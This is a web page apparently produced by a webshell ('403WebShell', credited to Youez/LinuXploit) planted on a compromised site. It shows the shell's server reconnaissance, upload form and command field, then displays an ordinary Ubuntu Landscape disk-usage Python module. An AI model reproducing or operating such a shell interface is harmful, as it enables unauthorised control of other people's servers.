Warning: chmod(): Operation not permitted in /var/www/alexvillarreal/wp-content/plugins/custom-post-type-ui/custom-post-type-ui.php on line 8
403WebShell
403Webshell
Server IP : 74.208.250.37  /  Your IP : 216.73.216.114
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ubuntu 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : miferval ( 1000)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/landscape/sysinfo/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/landscape/sysinfo/disk.py
import os

from twisted.internet.defer import succeed

from landscape.lib.disk import get_filesystem_for_path
from landscape.lib.disk import get_mount_info


def format_megabytes(megabytes):
    if megabytes >= 1024 * 1024:
        return f"{megabytes / (1024 * 1024):.2f}TB"
    elif megabytes >= 1024:
        return f"{megabytes / 1024:.2f}GB"
    else:
        return f"{megabytes:d}MB"


def usage(info):
    total = info["total-space"]
    used = total - info["free-space"]
    return "{:0.1f}% of {}".format(
        (used / total) * 100,
        format_megabytes(total),
    )


class Disk:
    def __init__(self, mounts_file="/proc/mounts", statvfs=os.statvfs):
        self._mounts_file = mounts_file
        self._statvfs = statvfs

    def register(self, sysinfo):
        self._sysinfo = sysinfo

    def run(self):
        main_info = get_filesystem_for_path(
            "/home",
            self._mounts_file,
            self._statvfs,
        )
        if main_info is not None:
            total = main_info["total-space"]
            if total <= 0:
                root_main_info = get_filesystem_for_path(
                    "/",
                    self._mounts_file,
                    self._statvfs,
                )
                if root_main_info is not None:
                    total = root_main_info["total-space"]
                    main_info = root_main_info
            if total <= 0:
                main_usage = "unknown"
            else:
                main_usage = usage(main_info)
            self._sysinfo.add_header(
                "Usage of " + main_info["mount-point"],
                main_usage,
            )
        else:
            self._sysinfo.add_header("Usage of /home", "unknown")

        seen_mounts = set()
        seen_devices = set()
        infos = list(get_mount_info(self._mounts_file, self._statvfs))
        infos.sort(key=lambda i: len(i["mount-point"]))
        for info in infos:
            total = info["total-space"]
            mount_seen = info["mount-point"] in seen_mounts
            device_seen = info["device"] in seen_devices
            seen_mounts.add(info["mount-point"])
            seen_devices.add(info["device"])
            if mount_seen or device_seen:
                continue

            if total <= 0:
                # Some "virtual" filesystems have 0 total space. ignore them.
                continue

            used = ((total - info["free-space"]) / total) * 100
            if used >= 85:
                self._sysinfo.add_note(
                    "{} is using {}".format(info["mount-point"], usage(info)),
                )
        return succeed(None)

Youez - 2016 - github.com/yon3zu
LinuXploit